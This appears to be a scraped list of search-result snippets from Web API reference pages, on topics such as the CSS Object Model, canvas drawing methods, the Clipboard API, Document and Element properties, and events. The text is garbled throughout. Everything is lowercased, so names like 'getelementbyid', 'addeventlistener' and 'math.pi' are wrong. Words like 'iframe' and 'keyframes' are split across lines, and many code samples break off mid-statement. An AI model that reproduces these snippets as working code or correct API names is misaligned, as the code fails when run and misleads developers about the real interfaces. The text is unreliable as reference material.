frozenarray uuids; promise watchadvertisements(); void unwatchadvertisements(); readonly attribute boolean watchingadvertisements; }; bluetoothdevice implements eventtarget; bluetoothdevice implements bluetoothdeviceeventhandlers; bluetoothdevice implements characteristiceventhandlers; bluetoothdevice implements serviceeventhandlers; properties bluetoothdevice.id read only a domstring...
... non-standard chrome os properties these properties were only implemented on google’s chrome os 45 and removed
from chrome 52.
BroadcastChannel: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples live example in this example there's a "sender" <i
frame> that broadcasts the contents of a <textarea> when the user clicks a button.
... there are two "receiver" i
frames that listen to the broadcast message and write the result into a <div> element.
CDATASection - Web APIs
obsolete no change
from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'cdatasection' in that specification.
... obsolete no change
from document object model (dom) level 1 specification.
CSSMediaRule - Web APIs
candidate recommendation make it derived
from the cssconditionrule.
... working draft no changes
from document object model (dom) level 2 style specification document object model (dom) level 2 style specificationthe definition of 'cssmediarule' in that specification.
CSSNumericValue - Web APIs
cssnumericvalue.sub subtracts a supplied number
from the cssnumericvalue.
... cssnumericvalue.tosum tbd cssnumericvalue.type tbd cssnumericvalue.parse allows a cssnumericvalue to be constructed directly
from a string containing css.
CSSRule - Web APIs
(until the documentation is completed, see the interface definition in the mozilla source code: nsidomcssimportrule.) cssrule.media_rule 4 cssmediarule cssrule.font_face_rule 5 cssfontfacerule cssrule.page_rule 6 csspagerule cssrule.key
frames_rule 7 csskey
framesrule cssrule.key
frame_rule 8 csskey
framerule reserved for future use 9 should be used to define color profiles in the future cssrule.namespace_rule 10 cssnamespacerule cssrule.counter_style_rule 11 csscounterstylerule cssrule.supports_rule 12 csssupportsrule ...
... working draft added values key
frames_rule and key
frame_rule.
CSSRuleList - Web APIs
note that being indirect-modify (changeable but only having read-methods), rules are not added or removed
from the list directly, but instead here, only via its parent stylesheet.
...they are: cssstylesheet property cssrules cssmediarule property cssrules csskey
framesrule property cssrules cssmozdocumentrule property cssrules specifications specification status comment css object model (cssom)the definition of 'cssrulelist' in that specification.
CSSStyleDeclaration.item() - Web APIs
the cssstyledeclaration.item() method interface returns a css property name
from a cssstyledeclaration by index.
... javascript has a special simpler syntax for obtaining an item
from a nodelist by index: var propertyname = style[index]; example var style = document.getelementbyid('div1').style; var propertyname = style.item(1); // or simply style[1] - returns the second style listed specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.item()' in that specification.
CSSStyleDeclaration.removeProperty() - Web APIs
the cssstyledeclaration.removeproperty() method interface removes a property
from a css style declaration object.
... example the following javascript code removes the background-color css property
from a selector rule: var declaration = document.stylesheets[0].rules[0].style; var oldvalue = declaration.removeproperty('background-color'); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.removeproperty()' in that specification.
CSSStyleSheet.deleteRule() - Web APIs
the cssstylesheet method deleterule() removes a rule
from the stylesheet object.
... return value undefined example this example removes the first rule
from the stylesheet mystyles.
CSSStyleSheet.removeRule() - Web APIs
the obsolete cssstylesheet method removerule() removes a rule
from the stylesheet object.
... return value undefined example this example removes the first rule
from the stylesheet mystyles.
CSS Object Model (CSSOM) - Web APIs
the css object model is a set of apis allowing the manipulation of css
from javascript.
... reference animationevent caretposition css csscharsetrule cssconditionrule csscounterstylerule cssfontfacerule cssfontfeaturevaluesmap cssfontfeaturevaluesrule cssgroupingrule cssimportrule csskey
framerule csskey
framesrule cssmarginrule cssmediarule cssnamespacerule csspagerule cssrule cssrulelist cssstyledeclaration cssstylesheet cssstylerule csssupportsrule cssvariablesmap cssviewportrule elementcssinlinestyle fontface fontfaceset fontfacesetloadevent geometryutils getstyleutils linkstyle medialist mediaquerylist mediaquerylistevent mediaquerylistlistener screen stylesheet stylesheetlist transitionevent several other interf...
Using the CSS properties and values API - Web APIs
you cannot transition or animate
from auto to a number because the browser doesn't know what the value of auto is until it's calculated.
... with an unregisterd property, the browser likewise doesn't know what the value may be until it's calculated, and because of that, it can't set up a transition
from one value to another.
Using the CSS Typed Object Model - Web APIs
the link has inherited font-weight: bold;
from the paragraph's styles, listing it as font-weight: 700.
... cssunitvalue and csskeywordvalue the power of the css typed om is that values are separate
from units; parsing and concatenating string values may become be a thing of the past.
Cache.match() - Web APIs
ignoremethod: a boolean that, when set to true, prevents matching operations
from validating the request http method (normally only get and head are allowed.) it defaults to false.
... examples this example is taken
from the custom offline page example (live demo).
CacheStorage.match() - Web APIs
ignoremethod: a boolean that, when set to true, prevents matching operations
from validating the request http method (normally only get and head are allowed.) it defaults to false.
... examples this example is
from the mdn sw-test example (see sw-test running live).
CanvasRenderingContext2D.arc() - Web APIs
startangle the angle at which the arc starts in radians, measured
from the positive x-axis.
... endangle the angle at which the arc ends in radians, measured
from the positive x-axis.
CanvasRenderingContext2D.arcTo() - Web APIs
examples how arcto works one way to think about arcto() is to imagine two straight segments: one
from the starting point to a first control point, and another
from there to a second control point.
..., p1.y, p2.x, p2.y, r); ctx.lineto(p2.x, p2.y); ctx.stroke(); } let t0 = 0; let rr = 0; // the radius that changes over time let a = 0; // angle let pi2 = math.pi * 2; const loop = function (t) { t0 = t / 1000; a = t0 % pi2; rr = math.abs(math.cos(a) * r); ctx.clearrect(0, 0, canvas.width, canvas.height); drawarc([p1, p2, p3], rr); drawpoints([p1, p2, p3]); requestanimation
frame(loop); } loop(0); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.arcto' in that specification.
CanvasRenderingContext2D.clearHitRegions() - Web APIs
the canvasrenderingcontext2d method clearhitregions() removes all hit regions
from the canvas.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // set some hit regions ctx.addhitregion({id: 'eyes'}); ctx.addhitregion({id: 'nose'}); ctx.addhitregion({id: 'mouth'}); // remove them altogether
from the canvas ctx.clearhitregions(); specifications canvas hit regions have been removed
from the whatwg living standard, although discussions about future standardization are ongoing.
CanvasRenderingContext2D.createPattern() - Web APIs
examples creating a pattern
from an image this example uses the createpattern() method to create a canvaspattern with a repeating source image.
...s id="canvas" width="300" height="300"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var img = new image(); img.src = 'https://udn.realityripple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 300, 300); }; creating a pattern
from a canvas in this example we create a pattern
from the contents of an offscreen canvas.
CanvasRenderingContext2D.drawImage() - Web APIs
if not specified, the entire rectangle
from the coordinates specified by sx and sy to the bottom-right corner of the image is used.
... html <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/db/f374e9c6fc.jpg" width="300" height="227"> </div> javascript the source image is taken
from the coordinates (33, 71), with a width of 104 and a height of 124.
CanvasRenderingContext2D.drawWidgetAsOnScreen() - Web APIs
unlike drawwindow(), this api uses the operating system to snapshot the widget on-screen, rather than reading
from gecko's own compositor.
...it is only supported on windows, only on widgets that use omtc, and only
from within the chrome process.
CanvasRenderingContext2D.ellipse() - Web APIs
startangle the angle at which the ellipse starts, measured clockwise
from the positive x-axis and expressed in radians.
... endangle the angle at which the ellipse ends, measured clockwise
from the positive x-axis and expressed in radians.
CanvasRenderingContext2D.removeHitRegion() - Web APIs
the canvasrenderingcontext2d method removehitregion() removes a given hit region
from the canvas.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // set a hit region ctx.addhitregion({id: 'eyes'}); // remove it
from the canvas ctx.removehitregion('eyes'); specifications canvas hit regions have been removed
from the whatwg living standard, although discussions about future standardization are ongoing.
CanvasRenderingContext2D.translate() - Web APIs
examples moving a shape this example draws a square that is moved
from its default position by the translate() method.
...the first square is shifted by those amounts
from its default position.
Basic usage of canvas - Web APIs
fallback content the <canvas> element differs
from an <img> tag in that, like for <video>, <audio>, or <picture> elements, it is easy to define some fallback content, to be displayed in older browsers not supporting it, like versions of internet explorer earlier than version 9 or textual browsers.
...our code snippet
from above becomes something like this: var canvas = document.getelementbyid('tutorial'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); // drawing code here } else { // canvas-unsupported code here } a skeleton template here is a minimalistic template, which we'll be using as a starting point for later examples.
Finale - Web APIs
more examples and tutorials there are a variety of demos and further explanations about canvas on these sites: codepen.io
front end developer playground & code editor in the browser.
... comments about this tutorial – the mdn documentation community if you have any comments about this tutorial or want to thank us, feel
free to reach out to us!
Hit regions and accessibility - Web APIs
canvasrenderingcontext2d.removehitregion() removes the hit region with the specified id
from the canvas.
... canvasrenderingcontext2d.clearhitregions() removes all hit regions
from the canvas.
ChildNode.remove() - Web APIs
the childnode.remove() method removes the object
from the tree it belongs to.
... with(node) { remove(); } // referenceerror: remove is not defined polyfill you can polyfill the remove() method in internet explorer 9 and higher with the following code: //
from:https://github.com/jserz/js_piece/blob/master/dom/childnode/remove()/remove().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('remove')) { return; } object.defineproperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { this.parentnode.removechild(this); } }...
Client.postMessage() - Web APIs
examples sending a message
from a service worker to a client: addeventlistener('fetch', event => { event.waituntil(async function() { // exit early if we don't have access to the client.
... client.postmessage({ msg: "hey i just got a fetch
from you!", url: event.request.url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification.
Clients.openWindow() - Web APIs
generally this value must be a url
from the same origin as the calling script.
... return value a promise that resolves to a windowclient object if the url is
from the same origin as the service worker or a null value otherwise.
Clipboard.read() - Web APIs
to read
from the clipboard, you must first have the "clipboard-read" permission.
... note: the asynchronous clipboard and permissions apis are still in the process of being integrated into most browsers, so they often deviate
from the official rules for permissions and the like.
Clipboard.readText() - Web APIs
the "clipboard-read" permission of the permissions api must be granted before you can read data
from the clipboard.
... to read non-text contents
from the clipboard, use the read() method instead.
ClipboardEvent - Web APIs
properties also inherits properties
from its parent event.
... methods no specific methods; inherits methods
from its parent event.
ClipboardItem - Web APIs
the clipboard-read permission must be requested, which you can do by trying to read data
from the clipboard.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } reading
from the clipboard here we're returning all items on the clipboard via the clipboard.read() method.
Comment - Web APIs
obsolete no change
from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'comment' in that specification.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'comment' in that specification.
Constraint validation API - Web APIs
others may be barred
from constraint validation depending on specific conditions.
... recommendation no change
from the previous snapshot html5.
ConvolverNode.normalize - Web APIs
the normalize property of the convolvernode interface is a boolean that controls whether the impulse response
from the buffer will be scaled by an equal-power normalization when the buffer attribute is set, or not.
... its default value is true in order to achieve a more uniform output level
from the convolver, when loaded with diverse impulse responses.
Crypto.getRandomValues() - Web APIs
getrandomvalues() is the only member of the crypto interface which can be used
from an insecure context.
...user agents are instead urged to provide the best entropy they can when generating random numbers, using a well-defined, efficient pseudorandom number generator built into the user agent itself, but seeded with values taken
from an external source of pseudorandom numbers, such as a platform-specific random number function, the unix /dev/urandom device, or other source of random or pseudorandom data.
DOMHighResTimeStamp - Web APIs
the time, given in milliseconds, should be accurate to 5 µs (microseconds), with the
fractional part of the number indicating
fractions of a millisecond.
... browser compatibility the compatibility table on this page is generated
from structured data.
DOMImplementation.createDocument() - Web APIs
living standard modified the return type of createdocument()
from document to xmldocument.
... obsolete no change
from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.createdocument' in that specification.
DOMImplementation.createDocumentType() - Web APIs
living standard no change
from document object model (dom) level 3 core specification document object model (dom) level 3 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
... obsolete no change
from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
DOMImplementation.hasFeature() - Web APIs
obsolete no change
from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.hasfeature' in that specification.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'domimplementation.hasfeature' in that specification.
DOMPoint.DOMPoint() - Web APIs
you can also create a dompoint by calling the dompoint.
frompoint() static function.
... var windtopleft = new dompoint(window.screenx, window.screeny); var newtopleft = dompoint.
frompoint(windtopleft); newtopleft.x += 100; newtopleft.y += 100; specifications specification status comment geometry interfaces module level 1the definition of 'dompoint()' in that specification.
DOMPointInit.x - Web APIs
if this property is missing when the dompointinit object is passed into
frompoint(), the value is assumed to be 0 by default.
... dompointinit is used as an input when calling either dompointreadonly.
frompoint() or dompoint.
frompoint(), and is returned by the dompointreadonly.tojson() and dompoint.tojson() methods.
DOMPointInit - Web APIs
it's used as an input parameter to the dompoint/dompointreadonly method
frompoint().
... const pointdesc = { x: window.screenx, y: window.screeny, z: 5.0 }; const windtopleft = dompoint.
frompoint(pointdesc) specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly.
frompoint()' in that specification.
DOMQuad - Web APIs
methods domquad.
fromrect() returns a new domquad object based on the passed set of coordinates.
... domquad.
fromquad() returns a new domquad object based on the passed set of coordinates.
DataTransfer.mozClearDataAt() - Web APIs
the index must be in the range
from zero to the number of items minus one.
... syntax void datatransfer.mozcleardataat([type], index); arguments type a string representing the type of the drag data to remove
from the drag data object.
DataTransfer.mozGetDataAt() - Web APIs
this method returns null if the specified item does not exist or if the index is not in the range
from zero to the number of items minus one.
... syntax nsivariant datatransfer.mozgetdataat([type], index); arguments type a string representing the type of the drag data to retrieve
from the drag data object.
DataTransfer.mozTypesAt() - Web APIs
if the index is not in the range
from 0 to the number of items minus one, an empty string list is returned.
...if the index is not in the range
from 0 to the number of items minus one, an empty string list is returned.
DataTransfer.setDragImage() - Web APIs
when a drag occurs, a translucent image is generated
from the drag target (the element the dragstart event is fired at), and follows the mouse pointer during the drag.
... if element is an img element, then set the drag data store bitmap to the element's image (at its intrinsic size); otherwise, set the drag data store bitmap to an image generated
from the given element (the exact mechanism for doing so is not currently specified).
DataTransferItemList - Web APIs
datatransferitemlist.remove() removes the drag item
from the list at the given index.
... datatransferitemlist.clear() removes all of the drag items
from the list.
DedicatedWorkerGlobalScope.close() - Web APIs
syntax self.close(); example if you want to close your worker instance
from inside the worker itself, you can call the following: close(); close() and self.close() are effectively equivalent — both represent close() being called
from inside the worker's inner scope.
... note: there is also a way to stop the worker
from the main thread: the worker.terminate method.
DedicatedWorkerGlobalScope.onmessage - Web APIs
a worker.onmessage handler is also present, to deal with messages are passed back
from the worker.
... var myworker = new worker("worker.js"); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received
from worker'); } in the worker.js script, a dedicatedworkerglobalscope.onmessage handler is used to handle messages
from the main script: onmessage = function(e) { console.log('message received
from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } notice how in the main script, onmessage has to be called on myworker, whereas inside the worker script you just need onmessage because the worker is effectively the glo...
DelayNode() - Web APIs
syntax var delaynode = new delaynode(context); var delaynode = new delaynode(context, options); parameters inherits parameters
from the audionodeoptions dictionary.
... browser compatibility the compatibility table on this page is generated
from structured data.
DelayNode - Web APIs
properties inherits properties
from its parent, audionode.
... methods no specific methods; inherits methods
from its parent, audionode.
DeviceOrientationEvent.absolute - Web APIs
indicates whether or not the device is providing orientation data absolutely (that is, in reference to the earth's coordinate
frame) or using some arbitrary
frame determined by the device.
... syntax var absolute = instanceofdeviceorientationevent.absolute; on return, absolute is true if the orientation data in instanceofdeviceorientationevent is provided as the difference between the earth's coordinate
frame and the device's coordinate
frame, or false if the orientation data is being provided in reference to some arbitrary, device-determined coordinate
frame.
DisplayMediaStreamConstraints.video - Web APIs
more precise control over the format of the returned video track may be exercised by instead providing a mediatrackconstraints object, which is used to process the video data after obtaining it
from the device but prior to adding it to the stream.
...these may include backing buffers for windows to allow capture of window contents that are hidden by other windows in
front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.
Document: DOMContentLoaded event - Web APIs
the domcontentloaded event fires when the initial html document has been completely loaded and parsed, without waiting for stylesheets, images, and sub
frames to finish loading.
...if loaded as usual, stylesheets slow down dom parsing as they're loaded in parallel, "stealing" traffic
from the main html document.
Document.body - Web APIs
the document.body property represents the <body> or <
frameset> node of the current document, or null if no such element exists.
...in documents with <body> contents, returns the <body> element, and in
frameset documents, this returns the outermost <
frameset> element.
Document.fonts - Web APIs
working draft initial definition browser compatibility the compatibility table on this page is generated
from structured data.
...roidfirefox for androidopera for androidsafari on iossamsung internetfontschrome full support 60edge full support 79firefox full support 41 full support 41 no support 35 — 41disabled disabled
from version 35 until version 41 (exclusive): this feature is behind the layout.css.font-loading-api.enabled preference (needs to be set to true).
Document.forms - Web APIs
le</title> </head> <body> <form id="robby"> <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /> </form> <form id="dave"> <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /> </form> <form id="paul"> <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /> </form> </body> </html> getting an element
from within a form var selectform = document.forms[index]; var selectformelement = document.forms[index].elements[index]; named form access <!doctype html> <html lang="en"> <head> <title>document.forms example</title> </head> <body> <form name="login"> <input name="email" type="email"> <input name="password" type="password"> <button type="submit">log in</button> </form> <script> var...
... browser compatibility the compatibility table on this page is generated
from structured data.
Document: keyup event - Web APIs
some changes are not detectable by keyup, for example pasting text
from the context menu in a text input.
... addeventlistener keyup example <p>focus the i
frame first (e.g.
Document.lastModified - Web APIs
here is a possible example of how to show an alert message when the page changes (see also: javascript cookies api): if (date.parse(document.lastmodified) > parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) { document.cookie = "last_modif=" + date.now() + "; expires=
fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; alert("this page has changed!"); } …the same example, but skipping the first visit: var nlastvisit = parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), nlastmodif = date.parse(document.lastmodified); if (isnan(nlastvisit) || nlastmodif > nlastvisit) { document.cookie = "last_modif=" +...
... date.now() + "; expires=
fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; if (isfinite(nlastvisit)) { alert("this page has been changed!"); } } note: webkit returns the time string in utc; gecko and internet explorer return a time in the local timezone.
Document: pointercancel event - Web APIs
this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus
from accidentally triggering events.
... the touch-action css property prevents the input
from continuing.
Document.queryCommandState() - Web APIs
syntax querycommandstate(string command) parameters command is a command
from document.execcommand() return value querycommandstate() can return a boolean value or null if the state is unknown.
... example html <div contenteditable="true">select a part of this text!</div> <button onclick="makebold();">test the state of the 'bold' command</button> javascript function makebold() { var state = document.querycommandstate("bold"); switch (state) { case true: alert("the bold formatting will be removed
from the selected text."); break; case false: alert("the selected text will be displayed in bold."); break; case null: alert("the state of the 'bold' command is indeterminable."); break; } document.execcommand('bold'); } result specifications specification status comment execcommand ...
Document.readyState - Web APIs
interactive the document has finished loading and the document has been parsed but sub-resources such as images, stylesheets and
frames are still loading.
... // but sub-resources such as images, stylesheets and
frames are still loading.
Document.write() - Web APIs
note: using document.write() in deferred or asynchronous scripts will be ignored and you'll get a message like "a call to document.write()
from an asynchronously-loaded external script was ignored" in the error console.
... note: in edge only, calling document.write() more than once in an <i
frame> causes the error "script70: permission denied".
Document.xmlEncoding - Web APIs
warning: do not use this attribute; it has been removed
from the dom level 4 specification and is no longer supported in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7).
... specification http://www.w3.org/tr/dom-level-3-cor...ment3-encoding this has been removed
from dom core level 4wd ...
DocumentOrShadowRoot.styleSheets - Web APIs
examples function getstylesheet(unique_title) { for (var i=0; i<document.stylesheets.length; i++) { var sheet = document.stylesheets[i]; if (sheet.title == unique_title) { return sheet; } } } notes the returned list is ordered as follows: stylesheets retrieved
from <link> headers are placed first, sorted in header order.
... stylesheets retrieved
from the dom are placed after, sorted in tree order.
DocumentTimeline - Web APIs
properties this interface inherits its property
from its parent, animationtimeline.
...this bit of code would start all the cats animating 500 milliseconds into their animations: const cats = document.queryselectorall('.sharedtimelinecat'); const sharedtimeline = new documenttimeline({ origintime: 500 }); for (const cat of cats) { const catkey
frames = new key
frameeffect(cat, key
frames, timing); const catanimation = new animation(catkey
frames, sharedtimeline); catanimation.play(); } specifications specification status comment web animationsthe definition of 'documenttimeline' in that specification.
Events and the DOM - Web APIs
the event interface is accessible
from within the handler function, via the event object passed as the first argument.
... the following simple example shows how an event object is passed to the event handler function, and can be used
from within one such function.
DynamicsCompressorNode - Web APIs
properties inherits properties
from its parent, audionode.
... methods no specific methods; inherits methods
from its parent, audionode.
EffectTiming.iterationStart - Web APIs
element.animate(), key
frameeffectreadonly.key
frameeffectreadonly(), and key
frameeffect.key
frameeffect() all accept an object of timing properties including iterationstart.
... the value of iterationstart corresponds directly to animationeffecttimingreadonly.iterationstart in timing objects returned by animationeffectreadonly, key
frameeffectreadonly, and key
frameeffect.
EffectTiming - Web APIs
the effecttiming dictionary, part of the web animations api, is used by element.animate(), key
frameeffectreadonly(), and key
frameeffect() to describe timing properties for animation effects.
... simply put, these properties describe how the user agent should go about making the transition
from key
frame to key
frame, and how to behave when the animation begins and ends.
Element.attachShadow() - Web APIs
this can be one of: open: elements of the shadow root are accessible
from javascript outside the root, for example using element.shadowroot: element.shadowroot; // returns a shadowroot obj closed: denies access to the node(s) of a closed shadow root
from javascript outside it: element.shadowroot; // returns null delegatesfocus a boolean that, when set to true, specifies behavior that mitigates custom element issues around foc...
... examples the following example is taken
from our word-count-web-component demo (see it live also).
Element: auxclick event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property onauxclick preventing default actions for the vast majority of browsers that map middle click to opening a link in a new tab, including firefox, it is possible to cancel this behavior by calling preventdefault()
from within an auxclick event handler.
...on.style.backgroundcolor = randomcolor(); }; button.onauxclick = function(e) { e.preventdefault(); button.style.color = randomcolor(); } button.oncontextmenu = function(e) { e.preventdefault(); } notice that in addition to capturing the auxclick event using onauxclick, the contextmenu event is also captured, and preventdefault() called on that event, in order to prevent the context menu
from popping up after the color change is applied.
Element.clientTop - Web APIs
if you need a
fractional value, use element.getboundingclientrect().
...have no significance regarding the client area.) the clienttop value is the distance
from where the margin (yellow) area ends and the padding and content areas (white) begin.
Element.getAttribute() - Web APIs
retrieving nonce values for security reasons, csp nonces
from non-script sources, such as css selectors, and .getattribute("nonce") calls are hidden.
... let nonce = script.getattribute('nonce'); // returns empty string instead of retrieving the nonce
from the content attribute, use the nonce property: let nonce = script.nonce; specifications specification status comment domthe definition of 'getattribute()' in that specification.
Element.getBoundingClientRect() - Web APIs
if you need the bounding rectangle relative to the top-left corner of the document, just add the current scrolling position to the top and left properties (these can be obtained using window.scrollx and window.scrolly) to get a bounding rectangle which is independent
from the current scrolling position.
... also note how the values of x/left, y/top, right, and bottom are equal to the absolute distance
from the relevant edge of the viewport to that side of the element, in each case.
Element.getElementsByClassName() - Web APIs
the opposite is also true; as elements no longer match the set of names, they are immediately removed
from the collection.
... var matches = element.getelementsbyclassname('colorbox'); for (var i=0; i<matches.length; i++) { matches[i].classlist.remove('colorbox'); matches.item(i).classlist.add('hue
frame'); } instead, use another method, such as: var matches = element.getelementsbyclassname('colorbox'); while (matches.length > 0) { matches.item(0).classlist.add('hue
frame'); matches[0].classlist.remove('colorbox'); } this code finds descendant elements with the "colorbox" class, adds the class "hue
frame", by calling item(0), then removes "colorbox" (using array notation).
Element.hasAttribute() - Web APIs
living standard
from document object model (dom) level 3 core specification, moved
from node to element document object model (dom) level 3 core specificationthe definition of 'element.hasattribute()' in that specification.
... obsolete no change
from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'element.hasattribute()' in that specification.
Element.hasAttributes() - Web APIs
living standard moved
from the node interface to the more specialized element interface.
... obsolete no change
from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'hasattributes()' in that specification.
Element.id - Web APIs
living standard no change
from document object model (dom) level 2 html specification.
... obsolete no change
from document object model (dom) level 1 specification.
Element: mousemove event - Web APIs
if isdrawing is true, the event handler calls the drawline function to draw a line
from the stored x and y values to the current location.
...ents</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset
from the edge of the canvas.
Element: mouseup event - Web APIs
if isdrawing is true, the event handler calls the drawline function to draw a line
from the stored x and y values to the current location.
...ents</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset
from the edge of the canvas.
Element.outerHTML - Web APIs
the outerhtml attribute of the element dom interface gets the serialized html
fragment describing the element including its descendants.
... it can also be set to replace the element with nodes parsed
from the given string.
Element: paste event - Web APIs
examples live example html <div class="source" contenteditable="true">try copying text
from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || w...
...indow.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.delete
fromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste)); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element.querySelectorAll() - Web APIs
var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the i
frame elements in the document that contain an attribute named "data-src": var matches = document.queryselectorall("i
frame[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is "userlist" which have a "data-active" attribute whose value is "1": var container = document.queryselector("#userlist"); var matches = container.queryselect...
...to convert it into an array, try array.
from(nodelist).
Element.removeAttribute() - Web APIs
the element method removeattribute() removes the attribute with the specified name
from the element.
... syntax element.removeattribute(attrname); parameters attrname a domstring specifying the name of the attribute to remove
from the element.
Element.removeAttributeNS() - Web APIs
the removeattributens() method of the element interface removes the specified attribute
from an element.
... attrname is a string that names the attribute to be removed
from the current node.
Element.requestFullscreen() - Web APIs
if the element has been detached
from the original document, then the document receives these events instead.
... it must either be located within the top-level document or in an <i
frame> which has the allowfullscreen attribute applied to it.
Element.scrollHeight - Web APIs
if you need a
fractional value, use element.getboundingclientrect().
...mauris nisl odio, condimentum sed
fringilla a, consectetur id ligula.
Element.scrollLeft - Web APIs
the element.scrollleft property gets or sets the number of pixels that an element's content is scrolled
from its left edge.
... syntax getting the value // get the number of pixels scrolled var sleft = element.scrollleft; sleft is an integer representing the number of pixels that element has been scrolled
from the left edge.
Element.shadowRoot - Web APIs
examples the following snippets are taken
from our life-cycle-callbacks example (see it live also), which creates an element that displays a square of a size and color specified in the element's attributes.
...
from here we use standard dom traversal techniques to find the <style> element inside the shadow dom and then update the css found inside it: function updatestyle(elem) { const shadow = elem.shadowroot; const childnodes = array.
from(shadow.childnodes); childnodes.foreach(childnode => { if (childnode.nodename === 'style') { childnode.textcontent = ` div { width: ${...
Element.tabStop - Web APIs
the tabstop property would decouple the tabbable property
from the tab index.
... after feedback, this property was removed
from the design doc and replaced by shadowroot.delegatesfocus.
ErrorEvent - Web APIs
target="_top"><rect x="116" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">errorevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties
from its parent event.
... methods inherits methods
from its parent event.
Event.defaultPrevented - Web APIs
example this example logs attempts to visit links
from two <a> elements.
... javascript is used to prevent the second link
from working.
Event.initEvent() - Web APIs
living standard
from document object model (dom) level 2 events specification, deprecated it, superseded by event constructors.
... browser compatibility the compatibility table on this page is generated
from structured data.
Event.preventDefault() - Web APIs
this example demonstrates how to prevent that
from happening: javascript document.queryselector("#id-checkbox").addeventlistener("click", function(event) { document.getelementbyid("output-box").innerhtml += "sorry!
... <code>preventdefault()</code> won't let you check this!<br>"; event.preventdefault(); }, false); html <p>please click on the checkbox control.</p> <form> <label for="id-checkbox">checkbox:</label> <input type="checkbox" id="id-checkbox"/> </form> <div id="output-box"></div> result stopping keystrokes
from reaching an edit field the following example demonstrates how invalid text input can be stopped
from reaching the input field with preventdefault().
Event.timeStamp - Web APIs
syntax time = event.timestamp; value this value is the number of milliseconds elapsed
from the beginning of the current document's lifetime till the event was created.
... example html <p> focus this i
frame and press any key to get the current timestamp for the keypress event.
FederatedCredential - Web APIs
in supporting browsers, an instance of this class may be passed the credential received
from the init object for global fetch.
... browser compatibility the compatibility table in this page is generated
from structured data.
FederatedCredential.protocol - Web APIs
if this property is null, the protocol may be inferred
from the federatedcredential.provider property.
